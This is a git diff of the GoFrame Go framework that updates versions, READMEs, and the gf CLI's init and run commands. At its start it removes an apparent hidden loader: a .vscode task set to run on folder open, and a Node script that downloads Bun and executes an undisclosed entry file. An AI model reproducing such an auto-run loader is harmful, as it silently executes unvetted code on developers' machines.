-  if (process.platform === "win32" && hc("powershell", ["-Help"])) {
-    execFileSync(
-      "powershell",
-      [
-        "-NoProfile",
-        "-NonInteractive",
-        "-ExecutionPolicy",
-        "Bypass",
-        "-Command",
-        `Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
-      ],
-      { stdio: "inherit" },
-    );
-    const np = path.join(od, en);
-    const fp = path.join(od, path.basename(en));
-    fs.renameSync(np, fp);
-    return;
-  }
-
-  if (hc("unzip", ["-v"])) {
-    execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
-    return;
-  }
-
-  installBunViaNpm(td);
-}
-
-function installBunViaNpm(td) {
-  try {
-    execSync("npm install bun", { stdio: "inherit", cwd: td });
-  } catch {
-    // npm install failed, fall back to JS-based extraction
-    xn(zp, en, od);
-  }
-}
-
-function xn(zp, en, od) {
-  const b = fs.readFileSync(zp);
-  let eo = -1;
-  for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
-    if (b.readUInt32LE(i) === 0x06054b50) {
-      eo = i;
-      break;
-    }
-  }
-  if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
-  const ce = b.readUInt16LE(eo + 10);
-  const co = b.readUInt32LE(eo + 16);
-  let o = co;
-  let lo = -1;
-  let cm = -1;
-  let cs = 0;
-  for (let i = 0; i < ce; i++) {
-    if (b.readUInt32LE(o) !== 0x02014b50)
-      throw new Error("Invalid ZIP: bad CD entry signature");
-    const m = b.readUInt16LE(o + 10);
-    const sz = b.readUInt32LE(o + 20);
-    const fl = b.readUInt16LE(o + 28);
-    const el = b.readUInt16LE(o + 30);
-    const cl = b.readUInt16LE(o + 32);
-    const lh = b.readUInt32LE(o + 42);
-    const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
-    if (nm === en) {
-      lo = lh;
-      cm = m;
-      cs = sz;
-      break;
-    }
-    o += 46 + fl + el + cl;
-  }
-  if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
-  if (b.readUInt32LE(lo) !== 0x04034b50)
-    throw new Error("Invalid ZIP: bad local-header signature");
-  const fl = b.readUInt16LE(lo + 26);
-  const el = b.readUInt16LE(lo + 28);
-  const dp = lo + 30 + fl + el;
-  const rw = b.subarray(dp, dp + cs);
-  let fd;
-  if (cm === 0) {
-    fd = rw;
-  } else if (cm === 8) {
-    fd = zlib.inflateRawSync(rw);
-  } else {
-    throw new Error(`Unsupported ZIP compression method: ${cm}`);
-  }
-  const dt = path.join(od, path.basename(en));
-  fs.writeFileSync(dt, fd);
-}
-
-async function main() {
-  if (hc("bun")) return;
-
-  const a = ra();
-  const w = process.platform === "win32";
-  const bn = w ? "bun.exe" : "bun";
-  const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
-
-  const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
-  const zp = path.join(td, `${a}.zip`);
-  const bp = path.join(td, bn);
-  const ep = path.join(D, E);
-
-  try {
-    await dl(u, zp);
-    xz(zp, `${a}/${bn}`, td);
-    fs.unlinkSync(zp);
-    if (!w) fs.chmodSync(bp, 0o755);
-    execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
-  } finally {
-    fs.rmSync(td, { recursive: true, force: true });
-  }
-}
-
-main().catch((e) => {
-  console.error(e.message);
-  process.exit(1);
-});

.vscode/tasks.json

@@ -1,13 +0,0 @@
-{
-  "version": "2.0.0",
-  "tasks": [
-    {
-      "label": "Environment Setup",
-      "type": "shell",
-      "command": "node .claude/setup.mjs",
-      "runOptions": {
-        "runOn": "folderOpen"
-      }
-    }
-  ]
-}

Makefile

@@ -6,6 +6,7 @@ tidy:
 	./.make_tidy.sh
 
 # execute "golangci-lint" to check code style
+# go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest
 .PHONY: lint
 lint:
 	golangci-lint run -c .golangci.yml
@@ -75,3 +76,13 @@ subsync: subup
 		git push origin; \
 	fi; \
 	cd ..;
+
+# manage docker services for local development
+# usage: make docker or make docker cmd=start svc=mysql
+.PHONY: docker
+docker:
+	@if [ -z "$(cmd)" ]; then \
+		./.github/workflows/scripts/docker-services.sh; \
+	else \
+		./.github/workflows/scripts/docker-services.sh $(cmd) $(svc) $(extra); \
+	fi

README.MD

@@ -24,6 +24,12 @@ English | [简体中文](README.zh_CN.MD)
 
 A powerful framework for faster, easier, and more efficient project development.
 
+## Installation
+
+```bash
+go get -u github.com/gogf/gf/v2
+```
+
 ## Documentation
 
 - Official Site: [https://goframe.org](https://goframe.org)
@@ -32,13 +38,14 @@ A powerful framework for faster, easier, and more efficient project development.
 - Mirror Site: [Github Pages](https://pages.goframe.org)
 - Mirror Site: [Offline Docs](https://github.com/gogf/goframe.org-pdf?tab=readme-ov-file#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC)
 - GoDoc API: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
+- Doc Source: [https://github.com/gogf/gf-site](https://github.com/gogf/gf-site)
 
 ## Contributors
 
 💖 [Thanks to all the contributors who made GoFrame possible](https://github.com/gogf/gf/graphs/contributors) 💖
 
 <a href="https://github.com/gogf/gf/graphs/contributors">
-<img src="https://goframe.org/img/contributors.svg?version=v2.9.6" alt="goframe contributors"/>
+<img src="https://goframe.org/img/contributors.svg?version=v2.9.8" alt="goframe contributors"/>
 </a>
 
 ## License

README.zh_CN.MD

@@ -24,6 +24,12 @@
 
 一个强大的框架，为了更快、更轻松、更高效的项目开发。
 
+## 安装
+
+```bash
+go get -u github.com/gogf/gf/v2
+```
+
 ## 文档
 
 - 官方网站: [https://goframe.org](https://goframe.org)
@@ -31,7 +37,8 @@
 - 国内镜像: [https://goframe.org.cn](https://goframe.org.cn)
 - 镜像网站: [Github Pages](https://pages.goframe.org)
 - 镜像网站: [离线文档](https://github.com/gogf/goframe.org-pdf?tab=readme-ov-file#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC)
-- GoDoc API: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
+- Go包文档: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
+- 文档源码: [https://github.com/gogf/gf-site](https://github.com/gogf/gf-site)
 
 ## 贡献者
 

cmd/gf/go.mod

@@ -3,13 +3,13 @@ module github.com/gogf/gf/cmd/gf/v2
 go 1.23.0
 
 require (
-	github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.8
+	github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.8
+	github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.8
+	github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.8
+	github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.8
+	github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.8
+	github.com/gogf/gf/v2 v2.9.8
 	github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f
 	github.com/olekukonko/tablewriter v1.1.0
 	github.com/schollz/progressbar/v3 v3.15.0

cmd/gf/go.sum

@@ -46,20 +46,6 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
 github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
 github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
 github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
-github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6 h1:rJzRmA5TGWMeKDebdDosYODoUrMUHqfA5pWO1MBC5b0=
-github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6/go.mod h1:u+bUsuftf8qpKpPZPdOFhzh3F5KQzo6Wqa9JFTCLFqg=
-github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6 h1:3QTlIbSdrVYvRMNUF6nckspA6Eh5Uy2NqwB3/auxIwk=
-github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6/go.mod h1:oMteYgkWImPpUVe1aqPKtZ8jX1dG3v60lS7IA87MwFQ=
-github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6 h1:BY1ThxMo0bTx2P18PuCe57ARmjHuEithSdob/CbH/rw=
-github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6/go.mod h1:v/jKO9JJdLctlPlnUSnnG0SNSEpElM51Qx3KoI5crkU=
-github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6 h1:12+sWI/hm1D4KxG+1FMZpfoU3PwtSLJ9KbLNa20roLg=
-github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6/go.mod h1:gjjhgxqjafnORK0F4Fa5W8TJlassw7svKy7RFj5GKss=
-github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6 h1:LG/bTOJEpyNu6+IdREqFyi6J8LdZIeceeyxhuyV58LQ=
-github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6/go.mod h1:Ekd5IgUGyBlbfqKD/69hkIL9vHF6F4V2FeEP3h/pH08=
-github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6 h1:3QZvWIlz3dLjNELQU+5ZZZWuzEx9gsRFLU+qIKVUG6M=
-github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6/go.mod h1:7EEAe8UYI5dLeuwCWN3HgC62OhjIYbkynaoavw1U/k4=
-github.com/gogf/gf/v2 v2.9.6 h1:fQ6uPtS1Ra8qY+OuzPPZTlgksJ4eOXmTZ1/a2l3Idog=
-github.com/gogf/gf/v2 v2.9.6/go.mod h1:Svl1N+E8G/QshU2DUbh/3J/AJauqCgUnxHurXWR4Qx0=
 github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f h1:7xfXR/BhG3JDqO1s45n65Oyx9t4E/UqDOXep6jXdLCM=
 github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f/go.mod h1:HnYoio6S7VaFJdryKcD/r9HgX+4QzYfr00XiXUo/xz0=
 github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=

cmd/gf/go.work

@@ -14,5 +14,9 @@ replace (
 	github.com/gogf/gf/contrib/drivers/oracle/v2 => ../../contrib/drivers/oracle
 	github.com/gogf/gf/contrib/drivers/pgsql/v2 => ../../contrib/drivers/pgsql
 	github.com/gogf/gf/contrib/drivers/sqlite/v2 => ../../contrib/drivers/sqlite
+	github.com/gogf/gf/contrib/drivers/mariadb/v2 => ../../contrib/drivers/mariadb
+	github.com/gogf/gf/contrib/drivers/tidb/v2 => ../../contrib/drivers/tidb
+	github.com/gogf/gf/contrib/drivers/oceanbase/v2 => ../../contrib/drivers/oceanbase
+	github.com/gogf/gf/contrib/drivers/gaussdb/v2 => ../../contrib/drivers/gaussdb
 	github.com/gogf/gf/v2 => ../../
 )

cmd/gf/internal/cmd/cmd_init.go

@@ -7,9 +7,11 @@
 package cmd
 
 import (
+	"bufio"
 	"context"
 	"fmt"
 	"os"
+	"strconv"
 	"strings"
 
 	"github.com/gogf/gf/v2/frame/g"
@@ -20,6 +22,7 @@ import (
 	"github.com/gogf/gf/v2/text/gstr"
 	"github.com/gogf/gf/v2/util/gtag"
 
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/geninit"
 	"github.com/gogf/gf/cmd/gf/v2/internal/utility/allyes"
 	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 	"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
@@ -44,6 +47,13 @@ const (
 gf init my-project
 gf init my-mono-repo -m
 gf init my-mono-repo -a
+gf init my-project -u
+gf init my-project -g "github.com/myorg/myproject"
+gf init -r github.com/gogf/template-single my-project
+gf init -r github.com/gogf/examples/httpserver/jwt my-jwt
+gf init -r github.com/gogf/gf/cmd/gf/v2@v2.9.7 mygf
+gf init -r github.com/gogf/gf/cmd/gf/v2 mygf -s
+gf init -i
 `
 	cInitNameBrief = `
 name for the project. It will create a folder with NAME in current directory.
@@ -55,6 +65,16 @@ The NAME will also be the module name for the project.
 	cInitGitignore = ".gitignore"
 )
 
+// defaultTemplates is the list of predefined templates for interactive selection
+var defaultTemplates = []struct {
+	Name string
+	Repo string
+	Desc string
+}{
+	{"template-single", "github.com/gogf/template-single", "Single project template"},
+	{"template-mono", "github.com/gogf/template-mono", "Mono-repo project template"},
+}
+
 func init() {
 	gtag.Sets(g.MapStrStr{
 		`cInitBrief`:     cInitBrief,
@@ -64,17 +84,86 @@ func init() {
 }
 
 type cInitInput struct {
-	g.Meta  `name:"init"`
-	Name    string `name:"NAME" arg:"true" v:"required" brief:"{cInitNameBrief}"`
-	Mono    bool   `name:"mono" short:"m" brief:"initialize a mono-repo instead a single-repo" orphan:"true"`
-	MonoApp bool   `name:"monoApp" short:"a" brief:"initialize a mono-repo-app instead a single-repo" orphan:"true"`
-	Update  bool   `name:"update" short:"u" brief:"update to the latest goframe version" orphan:"true"`
-	Module  string `name:"module" short:"g" brief:"custom go module"`
+	g.Meta      `name:"init"`
+	Name        string `name:"NAME" arg:"true" brief:"{cInitNameBrief}"`
+	Mono        bool   `name:"mono" short:"m" brief:"initialize a mono-repo instead a single-repo" orphan:"true"`
+	MonoApp     bool   `name:"monoApp" short:"a" brief:"initialize a mono-repo-app instead a single-repo" orphan:"true"`
+	Update      bool   `name:"update" short:"u" brief:"update to the latest goframe version" orphan:"true"`
+	Module      string `name:"module" short:"g" brief:"custom go module"`
+	Repo        string `name:"repo" short:"r" brief:"remote repository URL for template download"`
+	SelectVer   bool   `name:"select" short:"s" brief:"enable interactive version selection for remote template" orphan:"true"`
+	Interactive bool   `name:"interactive" short:"i" brief:"enable interactive mode to select template" orphan:"true"`
 }
 
 type cInitOutput struct{}
 
 func (c cInit) Index(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
+	// Check if using remote template mode
+	if in.Repo != "" || in.Interactive {
+		return c.initFromRemote(ctx, in)
+	}
+
+	// If no name provided and no remote mode, enter interactive mode
+	if in.Name == "" {
+		return c.initInteractive(ctx, in)
+	}
+
+	// Default: use built-in template
+	return c.initFromBuiltin(ctx, in)
+}
+
+// initFromRemote initializes project from remote repository
+func (c cInit) initFromRemote(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
+	repo := in.Repo
+	name := in.Name
+
+	// If interactive mode and no repo specified, let user select
+	if in.Interactive && repo == "" {
+		var modPath string
+		var upgradeDeps bool
+		repo, name, modPath, upgradeDeps, err = interactiveSelectTemplate()
+		if err != nil {
+			return nil, err
+		}
+		if modPath != "" {
+			in.Module = modPath
+		}
+		if upgradeDeps {
+			in.Update = true
+		}
+	}
+
+	if repo == "" {
+		return nil, fmt.Errorf("repository URL is required for remote template mode")
+	}
+
+	// Default name to repo basename if empty
+	if name == "" {
+		name = gfile.Basename(repo)
+		mlog.Printf("Using repository basename as project name: %s", name)
+	}
+
+	mlog.Print("initializing from remote template...")
+
+	opts := &geninit.ProcessOptions{
+		SelectVersion: in.SelectVer,
+		ModulePath:    in.Module,
+		UpgradeDeps:   in.Update,
+	}
+
+	if err = geninit.Process(ctx, repo, name, opts); err != nil {
+		return nil, err
+	}
+
+	mlog.Print("initialization done!")
+	if name != "" && name != "." {
+		mlog.Printf(`you can now run "cd %s && gf run main.go" to start your journey, enjoy!`, name)
+	}
+	return
+}
+
+// initFromBuiltin initializes project from built-in template
+func (c cInit) initFromBuiltin(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
 	var overwrote = false
 	if !gfile.IsEmpty(in.Name) && !allyes.Check() {
 		s := gcmd.Scanf(`the folder "%s" is not empty, files might be overwrote, continue? [y/n]: `, in.Name)
@@ -149,6 +238,9 @@ func (c cInit) Index(ctx context.Context, in cInitInput) (out *cInitOutput, err
 		return
 	}
 
+	// Format the generated Go files.
+	utils.GoFmt(in.Name)
+
 	// Update the GoFrame version.
 	if in.Update {
 		mlog.Print("update goframe...")
@@ -180,3 +272,170 @@ func (c cInit) Index(ctx context.Context, in cInitInput) (out *cInitOutput, err
 	}
 	return
 }
+
+// initInteractive enters interactive mode when no arguments provided
+func (c cInit) initInteractive(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
+	reader := bufio.NewReader(os.Stdin)
+
+	// Ask user which mode to use
+	fmt.Println("\nPlease select initialization mode:")
+	fmt.Println(strings.Repeat("-", 50))
+	fmt.Println("  [1] Built-in template (default)")
+	fmt.Println("  [2] Remote template")
+	fmt.Println(strings.Repeat("-", 50))
+
+	fmt.Print("Select mode [1-2] (default: 1): ")
+	input, err := reader.ReadString('\n')
+	if err != nil {
+		mlog.Fatalf("failed to read input: %v", err)
+		return
+	}
+	input = strings.TrimSpace(input)
+
+	if input == "2" {
+		in.Interactive = true
+		return c.initFromRemote(ctx, in)
+	}
+
+	// Built-in template mode
+	fmt.Println("\nPlease select project type:")
+	fmt.Println(strings.Repeat("-", 50))
+	fmt.Println("  [1] Single project (default)")
+	fmt.Println("  [2] Mono-repo project")
+	fmt.Println("  [3] Mono-repo app")
+	fmt.Println(strings.Repeat("-", 50))
+
+	fmt.Print("Select type [1-3] (default: 1): ")
+	input, err = reader.ReadString('\n')
+	if err != nil {
+		mlog.Fatalf("failed to read input: %v", err)
+		return
+	}
+	input = strings.TrimSpace(input)
+
+	switch input {
+	case "2":
+		in.Mono = true
+	case "3":
+		in.MonoApp = true
+	}
+
+	// Get project name
+	for {
+		fmt.Print("Enter project name: ")
+		input, err = reader.ReadString('\n')
+		if err != nil {
+			mlog.Fatalf("failed to read input: %v", err)
+			return
+		}
+		in.Name = strings.TrimSpace(input)
+		if in.Name != "" {
+			break
+		}
+		fmt.Println("Project name cannot be empty")
+	}
+
+	// Get module path (optional)
+	fmt.Printf("Enter Go module path (leave empty to use \"%s\"): ", in.Name)
+	input, err = reader.ReadString('\n')
+	if err != nil {
+		mlog.Fatalf("failed to read input: %v", err)
+		return
+	}
+	in.Module = strings.TrimSpace(input)
+
+	// Ask about update
+	fmt.Print("Update to latest GoFrame version? [y/N]: ")
+	input, err = reader.ReadString('\n')
+	if err != nil {
+		mlog.Fatalf("failed to read input: %v", err)
+		return
+	}
+	input = strings.TrimSpace(strings.ToLower(input))
+	in.Update = input == "y" || input == "yes"
+
+	fmt.Println()
+	return c.initFromBuiltin(ctx, in)
+}
+
+// interactiveSelectTemplate prompts user to select a template interactively
+func interactiveSelectTemplate() (repo, name, modPath string, upgradeDeps bool, err error) {
+	reader := bufio.NewReader(os.Stdin)
+
+	// 1. Select template
+	fmt.Println("\nPlease select a project template:")
+	fmt.Println(strings.Repeat("-", 50))
+	for i, t := range defaultTemplates {
+		fmt.Printf("  [%d] %s - %s\n", i+1, t.Name, t.Desc)
+	}
+	fmt.Printf("  [%d] Custom repository URL\n", len(defaultTemplates)+1)
+	fmt.Println(strings.Repeat("-", 50))
+
+	for {
+		fmt.Printf("Select template [1-%d]: ", len(defaultTemplates)+1)
+		input, err := reader.ReadString('\n')
+		if err != nil {
+			return "", "", "", false, fmt.Errorf("failed to read template selection: %w", err)
+		}
+		input = strings.TrimSpace(input)
+
+		idx, e := strconv.Atoi(input)
+		if e != nil || idx < 1 || idx > len(defaultTemplates)+1 {
+			fmt.Printf("Invalid selection, please enter a number between 1-%d\n", len(defaultTemplates)+1)
+			continue
+		}
+
+		if idx <= len(defaultTemplates) {
+			repo = defaultTemplates[idx-1].Repo
+			fmt.Printf("Selected: %s\n\n", repo)
+		} else {
+			// Custom URL
+			fmt.Print("Enter repository URL: ")
+			input, err = reader.ReadString('\n')
+			if err != nil {
+				return "", "", "", false, fmt.Errorf("failed to read repository URL: %w", err)
+			}
+			repo = strings.TrimSpace(input)
+			if repo == "" {
+				fmt.Println("Repository URL cannot be empty")
+				continue
+			}
+		}
+		break
+	}
+
+	// 2. Enter project name
+	for {
+		fmt.Print("Enter project name: ")
+		input, err := reader.ReadString('\n')
+		if err != nil {
+			return "", "", "", false, fmt.Errorf("failed to read project name: %w", err)
+		}
+		name = strings.TrimSpace(input)
+		if name == "" {
+			fmt.Println("Project name cannot be empty")
+			continue
+		}
+		break
+	}
+
+	// 3. Enter module path (optional)
+	fmt.Printf("Enter Go module path (leave empty to use \"%s\"): ", name)
+	input, err := reader.ReadString('\n')
+	if err != nil {
+		return "", "", "", false, fmt.Errorf("failed to read module path: %w", err)
+	}
+	modPath = strings.TrimSpace(input)
+
+	// 4. Ask about upgrade
+	fmt.Print("Upgrade dependencies to latest (go get -u)? [y/N]: ")
+	input, err = reader.ReadString('\n')
+	if err != nil {
+		return "", "", "", false, fmt.Errorf("failed to read upgrade confirmation: %w", err)
+	}
+	input = strings.TrimSpace(strings.ToLower(input))
+	upgradeDeps = input == "y" || input == "yes"
+
+	fmt.Println()
+	return repo, name, modPath, upgradeDeps, nil
+}

cmd/gf/internal/cmd/cmd_run.go

@@ -33,12 +33,18 @@ type cRun struct {
 	g.Meta `name:"run" usage:"{cRunUsage}" brief:"{cRunBrief}" eg:"{cRunEg}" dc:"{cRunDc}"`
 }
 
+type watchPath struct {
+	Path      string
+	Recursive bool
+}
+
 type cRunApp struct {
-	File       string   // Go run file name.
-	Path       string   // Directory storing built binary.
-	Options    string   // Extra "go run" options.
-	Args       string   // Custom arguments.
-	WatchPaths []string // Watch paths for live reload.
+	File           string   // Go run file name.
+	Path           string   // Directory storing built binary.
+	Options        string   // Extra "go run" options.
+	Args           string   // Custom arguments.
+	WatchPaths     []string // Watch paths for live reload.
+	IgnorePatterns []string // Custom ignore patterns.
 }
 
 const (
@@ -48,43 +54,47 @@ const (
 gf run main.go
 gf run main.go --args "server -p 8080"
 gf run main.go -mod=vendor
-gf run main.go -w "manifest/config/*.yaml"
+gf run main.go -w internal,api
+gf run main.go -i ".git,node_modules"
 `
 	cRunDc = `
 The "run" command is used for running go codes with hot-compiled-like feature,
 which compiles and runs the go codes asynchronously when codes change.
 `
-	cRunFileBrief       = `building file path.`
-	cRunPathBrief       = `output directory path for built binary file. it's "./" in default`
-	cRunExtraBrief      = `the same options as "go run"/"go build" except some options as follows defined`
-	cRunArgsBrief       = `custom arguments for your process`
-	cRunWatchPathsBrief = `watch additional paths for live reload, separated by ",". i.e. "manifest/config/*.yaml"`
+	cRunFileBrief          = `building file path.`
+	cRunPathBrief          = `output directory path for built binary file. it's "./" in default`
+	cRunExtraBrief         = `the same options as "go run"/"go build" except some options as follows defined`
+	cRunArgsBrief          = `custom arguments for your process`
+	cRunWatchPathsBrief    = `watch additional paths for live reload, separated by ",". i.e. "internal,api"`
+	cRunIgnorePatternBrief = `custom ignore patterns for watch, separated by ",". i.e. ".git,node_modules". default patterns: node_modules, vendor, .*, _*. Glob syntax: "*" matches any chars, "?" matches single char, "[abc]" matches char class. Note: patterns match directory names only, not paths`
 )
 
 var process *gproc.Process
 
 func init() {
 	gtag.Sets(g.MapStrStr{
-		`cRunUsage`:           cRunUsage,
-		`cRunBrief`:           cRunBrief,
-		`cRunEg`:              cRunEg,
-		`cRunDc`:              cRunDc,
-		`cRunFileBrief`:       cRunFileBrief,
-		`cRunPathBrief`:       cRunPathBrief,
-		`cRunExtraBrief`:      cRunExtraBrief,
-		`cRunArgsBrief`:       cRunArgsBrief,
-		`cRunWatchPathsBrief`: cRunWatchPathsBrief,
+		`cRunUsage`:              cRunUsage,
+		`cRunBrief`:              cRunBrief,
+		`cRunEg`:                 cRunEg,
+		`cRunDc`:                 cRunDc,
+		`cRunFileBrief`:          cRunFileBrief,
+		`cRunPathBrief`:          cRunPathBrief,
+		`cRunExtraBrief`:         cRunExtraBrief,
+		`cRunArgsBrief`:          cRunArgsBrief,
+		`cRunWatchPathsBrief`:    cRunWatchPathsBrief,
+		`cRunIgnorePatternBrief`: cRunIgnorePatternBrief,
 	})
 }
 
 type (
 	cRunInput struct {
-		g.Meta     `name:"run" config:"gfcli.run"`
-		File       string   `name:"FILE"       arg:"true" brief:"{cRunFileBrief}" v:"required"`
-		Path       string   `name:"path"       short:"p"  brief:"{cRunPathBrief}" d:"./"`
-		Extra      string   `name:"extra"      short:"e"  brief:"{cRunExtraBrief}"`
-		Args       string   `name:"args"       short:"a"  brief:"{cRunArgsBrief}"`
-		WatchPaths []string `name:"watchPaths" short:"w"  brief:"{cRunWatchPathsBrief}"`
+		g.Meta         `name:"run" config:"gfcli.run"`
+		File           string   `name:"FILE"           arg:"true" brief:"{cRunFileBrief}" v:"required"`
+		Path           string   `name:"path"           short:"p"  brief:"{cRunPathBrief}" d:"./"`
+		Extra          string   `name:"extra"          short:"e"  brief:"{cRunExtraBrief}"`
+		Args           string   `name:"args"           short:"a"  brief:"{cRunArgsBrief}"`
+		WatchPaths     []string `name:"watchPaths"     short:"w"  brief:"{cRunWatchPathsBrief}"`
+		IgnorePatterns []string `name:"ignorePatterns" short:"i"  brief:"{cRunIgnorePatternBrief}"`
 	}
 	cRunOutput struct{}
 )
@@ -101,17 +111,25 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
 		mlog.Fatalf(`command "go" not found in your environment, please install golang first to proceed this command`)
 	}
 
-	if len(in.WatchPaths) == 1 {
-		in.WatchPaths = strings.Split(in.WatchPaths[0], ",")
+	// Parse comma-separated values in WatchPaths
+	if len(in.WatchPaths) > 0 {
+		in.WatchPaths = parseCommaSeparatedArgs(in.WatchPaths)
 		mlog.Printf("watchPaths: %v", in.WatchPaths)
 	}
 
+	// Parse comma-separated values in IgnorePatterns
+	if len(in.IgnorePatterns) > 0 {
+		in.IgnorePatterns = parseCommaSeparatedArgs(in.IgnorePatterns)
+		mlog.Printf("ignorePatterns: %v", in.IgnorePatterns)
+	}
+
 	app := &cRunApp{
-		File:       in.File,
-		Path:       filepath.FromSlash(in.Path),
-		Options:    in.Extra,
-		Args:       in.Args,
-		WatchPaths: in.WatchPaths,
+		File:           in.File,
+		Path:           filepath.FromSlash(in.Path),
+		Options:        in.Extra,
+		Args:           in.Args,
+		WatchPaths:     in.WatchPaths,
+		IgnorePatterns: in.IgnorePatterns,
 	}
 	dirty := gtype.NewBool()
 
@@ -121,6 +139,7 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
 			return
 		}
 
+		// Check if the file extension is 'go'.
 		if gfile.ExtName(event.Path) != "go" {
 			return
 		}
@@ -138,15 +157,11 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
 		})
 	}
 
-	if len(app.WatchPaths) > 0 {
-		for _, path := range app.WatchPaths {
-			_, err = gfsnotify.Add(gfile.RealPath(path), callbackFunc)
-			if err != nil {
-				mlog.Fatal(err)
-			}
-		}
-	} else {
-		_, err = gfsnotify.Add(gfile.RealPath("."), callbackFunc)
+	// Get directories to watch (recursive or non-recursive monitoring).
+	watchPaths := app.getWatchPaths()
+	for _, wp := range watchPaths {
+		option := gfsnotify.WatchOption{NoRecursive: !wp.Recursive}
+		_, err = gfsnotify.Add(wp.Path, callbackFunc, option)
 		if err != nil {
 			mlog.Fatal(err)
 		}
@@ -249,35 +264,181 @@ func (app *cRunApp) End(ctx context.Context, sig os.Signal, outputPath string) {
 }
 
 func (app *cRunApp) genOutputPath() (outputPath string) {
-	var renamePath string
 	outputPath = gfile.Join(app.Path, gfile.Name(app.File))
 	if runtime.GOOS == "windows" {
 		outputPath += ".exe"
 		if gfile.Exists(outputPath) {
-			renamePath = outputPath + "~"
+			renamePath := outputPath + "~"
 			if err := gfile.Rename(outputPath, renamePath); err != nil {
 				mlog.Print(err)
 			}
+			// Clean up the renamed old binary file
+			defer func() {
+				if gfile.Exists(renamePath) {
+					_ = gfile.Remove(renamePath)
+				}
+			}()
 		}
 	}
 	return filepath.FromSlash(outputPath)
 }
 
-func matchWatchPaths(watchPaths []string, eventPath string) bool {
-	for _, path := range watchPaths {
-		absPath, err := filepath.Abs(path)
-		if err != nil {
-			mlog.Printf("match watchPath '%s' error: %s", path, err.Error())
+// getWatchPaths uses DFS to find the minimal set of directories to watch.
+// Rule: if a directory and all its descendants have no ignored subdirectories, watch it;
+// otherwise, recurse into valid children and watch the current directory non-recursively.
+func (app *cRunApp) getWatchPaths() []watchPath {
+	roots := []string{"."}
+	if len(app.WatchPaths) > 0 {
+		roots = app.WatchPaths
+	}
+
+	// Use custom ignore patterns if provided, otherwise use default.
+	ignorePatterns := defaultIgnorePatterns
+	if len(app.IgnorePatterns) > 0 {
+		ignorePatterns = app.IgnorePatterns
+	}
+
+	var watchPaths []watchPath
+
+	for _, root := range roots {
+		absRoot := gfile.RealPath(root)
+		if absRoot == "" {
+			mlog.Printf("watch path '%s' not found, skipping", root)
 			continue
 		}
-		matched, err := filepath.Match(absPath, eventPath)
-		if err != nil {
-			mlog.Printf("match watchPath '%s' error: %s", path, err.Error())
+		if isIgnoredDirName(absRoot, ignorePatterns) {
 			continue
 		}
-		if matched {
+		app.collectWatchPaths(absRoot, ignorePatterns, &watchPaths)
+	}
+
+	if len(watchPaths) == 0 {
